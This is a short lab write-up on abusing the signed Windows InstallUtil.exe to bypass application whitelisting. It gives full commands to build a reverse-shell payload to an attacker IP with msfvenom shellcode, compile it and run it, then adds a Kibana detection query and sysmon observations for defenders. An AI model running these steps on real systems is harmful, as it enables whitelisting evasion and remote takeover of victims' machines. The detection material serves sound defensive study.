InstallUtil
InstallUtil code execution - bypass application whitelisting.

Execution

First of, let's generate a C# payload (with InstallUtil script) that contains shellcode from msfvenom and upload the temp.cs file to victim's machine:
1
python InstallUtil.py --cs_file temp.cs --exe_file temp.exe --payload windowsreverse_shell_tcp --lhost 10.0.0.5 --lport 443
Copied!
Compile the .cs to an .exe:
1
PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\csc.exe C:\experiments\installUtil\temp.cs
Copied!
Execute the payload:
1
PS C:\Windows\Microsoft.NET\Framework\v4.0.30319> .\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Windows\Microsoft.NET\Framework\v4.0.30319\temp.exe
2
Microsoft (R) .NET Framework Installation utility Version 4.0.30319.17929
3
Copyright (C) Microsoft Corporation. All rights reserved.
4
5
Hello From Uninstall...I carry out the real work...
Copied!
Enjoy the sweet reverse shell:

Observations

Look for InstallUtil processes that have established connections, especially those with cmd or powershell processes running as children - you should treat them as suspicious and investigate the endpoint closer:
A very primitive query in kibana allowing to find events where InstallUtil spawns cmd:
kibana
1
event_data.ParentCommandLine:"*installutil.exe*" && event_data.Image:cmd.exe
Copied!
InstallUtil launching the malicious payload
csc.exe created a temp.exe which contains the reverse shell payload
What is interesting is that I could not see an established network connection logged in sysmon logs, although I could see other network connections from the victim machine being logged.
Will be coming back to this one for further inspection - possibly related to sysmon configuration.

References

Signed Binary Proxy Execution: InstallUtil, Sub-technique T1218.004 - Enterprise | MITRE ATT&CK®
GitHub - khr0x40sh/WhiteListEvasion: Collection of scripts, binaries and the like to aid in WhiteList Evasion on a Microsoft Windows Network.
GitHub
Last modified 2yr ago